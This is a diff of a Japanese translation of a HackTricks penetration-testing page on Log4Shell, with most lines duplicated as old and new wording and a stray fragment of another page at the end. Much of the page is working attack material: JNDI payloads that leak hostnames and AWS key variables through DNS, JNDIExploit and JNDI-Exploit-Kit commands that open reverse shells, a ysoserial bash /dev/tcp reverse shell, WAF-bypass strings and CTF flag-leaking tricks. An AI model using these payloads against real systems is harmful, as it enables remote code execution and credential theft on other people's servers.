この脆弱性は、Log4jが`${prefix:name}`形式の[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。ここで、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきものです。たとえば、`${java:version}`は現在実行中のJavaのバージョンです。
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)は`jndi` Lookup機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的に`java:comp/env/`で接頭辞が付けられます。ただし、キー自体に**":"**が含まれる場合、このデフォルトの接頭辞は適用されません。
|
||||
|
||||
キーに**":"が含まれる**場合、`${jndi:ldap://example.com/a}`のように、**接頭辞はなく、LDAPサーバーがオブジェクトをクエリ**します。これらのLookupsは、Log4jの構成だけでなく、ログに記録される行でも使用できます。
|
||||
キーに**":"**が含まれる場合、`${jndi:ldap://example.com/a}`のように、**接頭辞はなく、LDAPサーバーがオブジェクトをクエリ**します。これらのLookupsは、Log4jの構成およびログ行が記録される際の両方で使用できます。
|
||||
|
||||
したがって、**ユーザーが制御する情報を処理する脆弱なバージョンのLog4jが必要**であるだけで、RCEを取得するために必要なものです。そして、これはJavaアプリケーションが情報を記録するために広く使用されているライブラリであり(インターネット向けアプリケーションも含まれます)、例えばHTTPヘッダーを受信したときなど、log4jがHTTP情報だけでなく、開発者が指定した任意の入力やデータを記録するために使用されることが非常に一般的でした。
|
||||
したがって、**ユーザーが制御する情報を処理する脆弱なバージョンのLog4jが必要**です。そして、これはJavaアプリケーションが情報を記録するために広く使用されているライブラリであるため(インターネットに面したアプリケーションも含まれる)、例えばHTTPヘッダーを受信したときなど、log4jがHTTP情報のみを記録するわけではなく、開発者が指定した任意の入力やデータを記録するために使用されることが非常に一般的でした。
|
||||
## Log4Shell 関連 CVE の概要
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[重要]**
|
||||
|
@ -108,19 +116,19 @@ LDAP検索が`SearchControls.setReturningObjFlag() with true`で呼び出され
|
|||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[重要]**
|
||||
|
||||
最初は低評価でしたが後に重要度が引き上げられたこの CVE は、CVE-2021-44228 の修正が不完全であることから生じる**サービス拒否(DoS)**の欠陥です。これはデフォルトでない構成に影響を与え、攻撃者がクラフトされたペイロードを介して DoS 攻撃を引き起こすことができます。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995) でバイパス方法が示されています。この問題は、メッセージ検索パターンの削除と JNDI のデフォルト無効化により、バージョン 2.16.0 および 2.12.2 で解決されています。
|
||||
最初は低評価でしたが後に重要度が引き上げられたこの CVE は、CVE-2021-44228 の修正が不完全であることから生じる**サービス拒否(DoS)**の欠陥です。これはデフォルト設定以外に影響を与え、攻撃者がクラフトされたペイロードを使用して DoS 攻撃を引き起こすことができます。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995) でバイパス方法が紹介されています。この問題は、メッセージ検索パターンの削除と JNDI のデフォルト無効化により、バージョン 2.16.0 および 2.12.2 で解決されています。
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**
|
||||
|
||||
`JMSAppender` を使用するデフォルトでない構成の **Log4j 1.x バージョン** に影響を与えるこの CVE は、信頼されていない逆シリアル化の欠陥です。1.x ブランチには修正が利用できず、`log4j-core 2.17.0` へのアップグレードが推奨されています。
|
||||
`JMSAppender` を使用する非デフォルト構成の **Log4j 1.x バージョン** に影響を与えるこの CVE は、信頼されていない逆シリアル化の欠陥です。1.x ブランチには修正が利用できず、エンドオブライフであるため、`log4j-core 2.17.0` へのアップグレードが推奨されています。
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[適度]**
|
||||
|
||||
この脆弱性は、Log4j 1.x の後継である **Logback ロギングフレームワーク** に影響を与えます。以前は安全と考えられていたこのフレームワークが脆弱性を持っていることが判明し、新しいバージョン(1.3.0-alpha11 および 1.2.9)がリリースされています。
|
||||
この脆弱性は、Log4j 1.x の後継である **Logback ロギングフレームワーク** に影響を与えます。以前は安全と考えられていたこのフレームワークが脆弱性を抱えており、新しいバージョン(1.3.0-alpha11 および 1.2.9)がリリースされ、問題が解決されています。
|
||||
|
||||
### **CVE-2021-45105** **\[高]**
|
||||
|
||||
Log4j 2.16.0 には DoS の欠陥があり、この CVE を修正するために `log4j 2.17.0` がリリースされました。詳細は BleepingComputer の [レポート](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) にあります。
|
||||
Log4j 2.16.0 には DoS の欠陥が含まれており、この CVE を修正するために `log4j 2.17.0` がリリースされました。詳細は BleepingComputer の [レポート](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) に記載されています。
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
|
@ -130,7 +138,7 @@ log4j バージョン 2.17 に影響を与えるこの CVE は、攻撃者が lo
|
|||
|
||||
### 発見
|
||||
|
||||
この脆弱性は、保護されていない場合には非常に簡単に発見できます。なぜなら、あなたのペイロードで指定したアドレスに少なくとも**DNS リクエスト**を送信するからです。したがって、以下のようなペイロードがあります:
|
||||
この脆弱性は、保護されていない場合には、少なくともペイロードで指定したアドレスに**DNS リクエスト**を送信するため、非常に簡単に発見できます。したがって、以下のようなペイロードがあります:
|
||||
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`([canarytokens.com](https://canarytokens.org/generate) を使用)
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`([interactsh](https://github.com/projectdiscovery/interactsh) を使用)
|
||||
|
@ -141,7 +149,7 @@ log4j バージョン 2.17 に影響を与えるこの CVE は、攻撃者が lo
|
|||
**DNS リクエストを受信したからといって、アプリケーションが悪用可能**(または脆弱)であるとは限りません。それを悪用する必要があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
**バージョン 2.15 を悪用するには**、**localhost チェックバイパス**を追加する必要があります:${jndi:ldap://**127.0.0.1#**...}
|
||||
**バージョン 2.15 を悪用**するには、**localhost チェックバイパス**を追加する必要があります:${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **ローカル発見**
|
||||
|
@ -159,9 +167,9 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
|||
* 脆弱性を悪用して情報を**外部流出**するため
|
||||
|
||||
たとえば、次のようなリクエストを送信できます:\
|
||||
または`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**のようなもので、**環境変数の値を含むDNSリクエスト**が受信された場合、アプリケーションが脆弱であることがわかります。
|
||||
または`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**のようなもので、**環境変数の値を含むDNSリクエスト**を受信した場合、アプリケーションが脆弱であることがわかります。
|
||||
|
||||
他にも**外部流出**しようとする可能性のある情報:
|
||||
他にも試みることができる情報を**漏洩**することができます:
|
||||
```
|
||||
${env:AWS_ACCESS_KEY_ID}
|
||||
${env:AWS_CONFIG_FILE}
|
||||
|
@ -215,9 +223,9 @@ Any other env variable name that could store sensitive information
|
|||
### RCE 情報
|
||||
|
||||
{% hint style="info" %}
|
||||
JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase` のデフォルトの非アクティブ化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは **逆シリアル化攻撃ベクトルに対して保護されていない**ことに注意することが重要です。
|
||||
JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase` のデフォルトの非アクティブ化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは **逆シリアル化攻撃ベクトルに対しては保護されていない**ことに注意することが重要です。
|
||||
|
||||
これらの高い JDK バージョンを悪用しようとする攻撃者は、Java アプリケーション内で **信頼されたガジェット** を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは、任意のクラスをロードして実行するように操作できます。
|
||||
これらの高い JDK バージョンを悪用しようとする攻撃者は、Java アプリケーション内で **信頼されたガジェット** を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは任意のクラスをロードして実行するように操作できます。
|
||||
|
||||
**詳細情報**(_RMI および CORBA ベクトルの制限など_)については、**前の JNDI Naming リファレンスセクション**を参照するか、[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) をご覧ください。
|
||||
{% endhint %}
|
||||
|
@ -226,7 +234,7 @@ JDK バージョンが 6u141 より上、7u131 より上、または 8u121 よ
|
|||
|
||||
これを **THM ボックス** でテストできます: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
ツール [**marshalsec**](https://github.com/mbechler/marshalsec)(jar バージョンは[**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar)で利用可能)を使用します。このアプローチは、LDAP リファラルサーバーを確立して、接続を二次的な HTTP サーバーにリダイレクトし、そこで脆弱性がホストされます。
|
||||
ツール [**marshalsec**](https://github.com/mbechler/marshalsec)(jar バージョンは [**こちら**](https://github.com/RandomRobbieBF/marshalsec-jar) で利用可能)を使用します。このアプローチは、LDAP リファラルサーバーを確立して、接続を二次的な HTTP サーバーにリダイレクトし、そこで脆弱性がホストされます。
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
|
@ -248,17 +256,17 @@ Javaファイルをクラスファイルにコンパイルするには、`javac
|
|||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**注意:** このエクスプロイトは、Javaの設定がLDAP経由でリモートコードベースの読み込みを許可することに依存しています。これが許可されていない場合は、信頼されたクラスを悪意のあるコードの実行に悪用することを検討してください。
|
||||
**注意:** このエクスプロイトは、Javaの構成がLDAP経由でのリモートコードベースの読み込みを許可していることに依存しています。これが許可されていない場合は、信頼されたクラスを悪意のあるコードの実行に悪用することを検討してください。
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
一部の理由で、このプロジェクトはlog4shellの発見後に作者によってgithubから削除されました。[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。
|
||||
一部の理由により、このプロジェクトはlog4shellの発見後に作者によってgithubから削除されました。[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。
|
||||
|
||||
さらに、wayback machineでソースコードを見つけることはできませんので、ソースコードを分析するか、実行するjarを実行していることを知っている状態で実行してください。
|
||||
{% endhint %}
|
||||
|
||||
この例では、**脆弱なwebサーバーをlog4shellにログを取る**ためにポート8080で実行できます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_). この脆弱なアプリは、HTTPリクエストヘッダー _X-Api-Version_ の内容をlog4shellの脆弱なバージョンでログに記録しています。
|
||||
この例では、単に**ポート8080でlog4shellに脆弱なWebサーバーを実行**することができます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_). この脆弱なアプリは、HTTPリクエストヘッダーの _X-Api-Version_ の内容をlog4shellの脆弱なバージョンでログに記録しています。
|
||||
|
||||
その後、**JNDIExploit**のjarファイルをダウンロードして、次のように実行できます:
|
||||
```bash
|
||||
|
@ -285,13 +293,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||
```
|
||||
攻撃を送信すると、実行したターミナルにいくつかの出力が表示されます**JNDIExploit-1.2-SNAPSHOT.jar**。
|
||||
攻撃を送信すると、**JNDIExploit-1.2-SNAPSHOT.jar** を実行したターミナルにいくつかの出力が表示されます。
|
||||
|
||||
**他の攻撃オプションを確認するには`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`をチェックしてください。さらに、必要な場合はLDAPおよびHTTPサーバーのポートを変更できます。**
|
||||
**他の攻撃オプションを確認するには `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` をチェックしてください。また、LDAPとHTTPサーバーのポートを変更することもできます。**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
前の脆弱性を悪用するために、[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用してみることができます。\
|
||||
前の攻撃と同様に、この脆弱性を悪用するために[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)を使用することができます。\
|
||||
被害者に送信するためのURLを生成することができます:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
|
@ -300,18 +308,18 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_この攻撃は、**THMソーラールーム**のような研究室でカスタム生成されたJavaオブジェクトを使用して機能します。ただし、これは一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースを読み込むように構成されていないため)私は、これは信頼されたクラスを悪用して任意のコードを実行するためではないかと思います。_
|
||||
_このカスタム生成されたJavaオブジェクトを使用した攻撃は、**THMソーラールーム**のような研究室で機能します。ただし、これは一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースを読み込むように構成されていないため)私は、これが信頼されたクラスを悪用して任意のコードを実行するために機能していないと考えています。_
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
このオプションは、**特定のクラスのみを信頼し、誰にでも信頼しないように構成されたJavaバージョン**を攻撃するのに非常に役立ちます。したがって、**ysoserial**は、**信頼されたクラスのシリアライゼーション**を生成するために使用され、これらは**任意のコードを実行するためのガジェット**として使用できます(_ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムで使用されなければなりません_)。
|
||||
このオプションは、**特定のクラスだけを信頼し、誰にでも信頼しないように構成されたJavaバージョン**を攻撃するのに非常に役立ちます。したがって、**ysoserial**は、**信頼されたクラスのシリアライゼーション**を生成するために使用され、これらは**任意のコードを実行**するためのガジェットとして使用できます(_ysoserialによって悪用される信頼されたクラスは、攻撃対象のJavaプログラムによって使用される必要があります_)。
|
||||
|
||||
**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用して、JNDIによってダウンロードされる逆シリアル化エクスプロイトを作成できます:
|
||||
**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用して、JNDIによってダウンロードされる逆シリアル化攻撃を作成できます:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDIリンク**、そこで脆弱なマシンからの接続を待機するエクスプロイトを生成します。JNDI-Exploit-Kitによって自動生成される**さまざまなエクスプロイト**またはあなた自身が生成したデシリアライズペイロード(あなたまたはysoserialによって生成)を提供できます。
|
||||
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDIリンク**を、脆弱なマシンからの接続を待つためのエクスプロイトを生成します。JNDI-Exploit-Kitによって自動生成される**異なるエクスプロイト**またはあなた自身またはysoserialによって生成された**独自の逆シリアル化ペイロード**を提供することができます。
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
|
@ -331,7 +339,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
|||
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
```
|
||||
## 自動スキャナー
|
||||
### 自動スキャナー
|
||||
|
||||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||||
|
@ -349,19 +357,19 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
## Log4Shellの脆弱性を利用した後
|
||||
## Log4Shell攻撃後の行動
|
||||
|
||||
この[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**である方法がよく説明されています。
|
||||
この[**CTF解説**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**であることがよく説明されています。
|
||||
|
||||
Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります:
|
||||
|
||||
> バージョン2.16.0(Java 8向け)から、**メッセージルックアップ機能が完全に削除**されました。構成内の**ルックアップは引き続き機能します**。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。
|
||||
> Java 8向けのバージョン2.16.0から、**メッセージルックアップ機能が完全に削除**されました。**構成内のルックアップは引き続き機能します**。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。
|
||||
|
||||
> バージョン2.17.0(およびJava 7およびJava 6向けの2.12.3および2.3.1)から、**構成内のルックアップ文字列のみが再帰的に展開**されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。
|
||||
> バージョン2.17.0から(およびJava 7およびJava 6向けの2.12.3および2.3.1)、**構成内のルックアップ文字列のみが再帰的に展開**されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。
|
||||
|
||||
これは、デフォルトでは`jndi`の悪用を忘れる必要があることを意味します。さらに、**再帰的なルックアップ**を実行するには、それらを構成する必要があります。
|
||||
これは、デフォルトでは**`jndi`の悪用はできない**ことを意味します。さらに、**再帰的なルックアップ**を行うには、それらを構成する必要があります。
|
||||
|
||||
たとえば、このCTFでは、次のようにファイルlog4j2.xmlに設定されていました:
|
||||
たとえば、このCTFでは、次のようにファイルlog4j2.xmlで構成されていました:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
|
@ -371,21 +379,21 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
|
|||
### Env Lookups
|
||||
|
||||
[このCTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)では、攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを外部に送出する必要がありました。\
|
||||
[**前回のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)で見られるように、**`${env:FLAG}`**などの異なる方法で環境変数にアクセスする方法があります。このCTFではこれは役に立ちませんでしたが、他の実際のシナリオでは役立つかもしれません。
|
||||
[**前回のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)のページで見られるように、**`${env:FLAG}`**などの異なる方法で環境変数にアクセスする方法があります。このCTFではこれは役に立ちませんでしたが、他の実生活のシナリオでは役立つかもしれません。
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
このCTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、Pythonアプリで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: **`${java:${env:FLAG}}`.** これは、**`${java:CTF{blahblah}}`**が存在しないため機能し、フラグの値を持つ例外が表示されます:
|
||||
このCTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、これはPythonアプリケーションで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: **`${java:${env:FLAG}}`.** これは、**`${java:CTF{blahblah}}`**が存在せず、フラグの値が表示される例外が発生するため機能します:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
補足として、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)をインジェクトし、`stdout`に記録される例外をトリガーすることもできます。例えば:
|
||||
ちなみに、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)をインジェクトして、`stdout`に記録される例外をトリガーすることもできます。例:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||
|
||||
これは、エラーメッセージ内のデータを外部に送出するのには役立ちませんでしたが、変換パターンの前にルックアップが解決されなかったため、検出など他の用途には役立つかもしれません。
|
||||
これは、エラーメッセージ内のデータを外部に送出するのには役立ちませんでした。なぜなら、変換パターンの前にルックアップが解決されなかったからですが、検出など他の用途には役立つかもしれません。
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
|
@ -394,7 +402,7 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
|
|||
* **例外メッセージを介したバイナリサーチ**
|
||||
|
||||
変換パターン**`%replace`**は、**文字列**から**コンテンツ**を**置換**するために**正規表現**を使用できます。次のように機能します: `replace{pattern}{regex}{substitution}`\
|
||||
この動作を悪用すると、**文字列内で正規表現が一致した場合に例外をトリガー**させることができます(見つからない場合は例外を発生させません):
|
||||
この動作を悪用すると、**文字列内で正規表現が一致した場合に例外をトリガー**させることができます(一致しない場合は例外が発生しません):
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -402,10 +410,10 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
|
|||
```
|
||||
* **Time based**
|
||||
|
||||
前のセクションで言及されているように、**`%replace`** は **regexes** をサポートしています。そのため、[**ReDoS ページ**](../regular-expression-denial-of-service-redos.md) からのペイロードを使用して、フラグが見つかった場合に **タイムアウト** を引き起こすことが可能です。\
|
||||
前のセクションで言及されたように、**`%replace`** は **regexes** をサポートしています。そのため、[**ReDoS ページ**](../regular-expression-denial-of-service-redos.md) からのペイロードを使用して、フラグが見つかった場合に **タイムアウト** を引き起こすことが可能です。\
|
||||
例えば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` のようなペイロードは、その CTF で **タイムアウト** を引き起こします。
|
||||
|
||||
この[**解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS 攻撃の代わりに **増幅攻撃** を使用して、応答の時間差を引き起こしました:
|
||||
この[**解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS 攻撃ではなく、**増幅攻撃** を使用して応答の時間差を引き起こしました:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -424,7 +432,7 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> もしフラグが `flagGuess` で始まる場合、フラグ全体が 29 個の `#` で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その結果の 29 個の `#` それぞれが 54 個の `#` で置き換えられます**。このプロセスは **6 回繰り返され**、合計で ` 29*54*54^6* =`` `` `**`96816014208`** **`#` が生成されます!**
|
||||
> もしフラグが `flagGuess` で始まる場合、フラグ全体が 29 個の `#` で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その結果得られた 29 個の `#` それぞれが 54 個の `#` で置き換えられます**。このプロセスは **6 回繰り返され**、合計で ` 29*54*54^6* =`` `` `**`96816014208`** **`#` が生成されます!**
|
||||
>
|
||||
> これだけ多くの `#` を置き換えると、Flask アプリケーションの 10 秒のタイムアウトが発生し、ユーザーに HTTP ステータスコード 500 が送信されます。(フラグが `flagGuess` で始まらない場合、500 以外のステータスコードが返されます)
|
||||
|
||||
|
@ -439,16 +447,22 @@ Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/s
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでの AWS ハッキングを学びましょう</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを発見する
|
||||
* **HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
|
||||
* 独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションである [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見する
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有する
|
||||
* あなたのハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,103 +1,66 @@
|
|||
# ヘッダースマグリングのアップグレード
|
||||
# アップグレードヘッダースマグリング
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
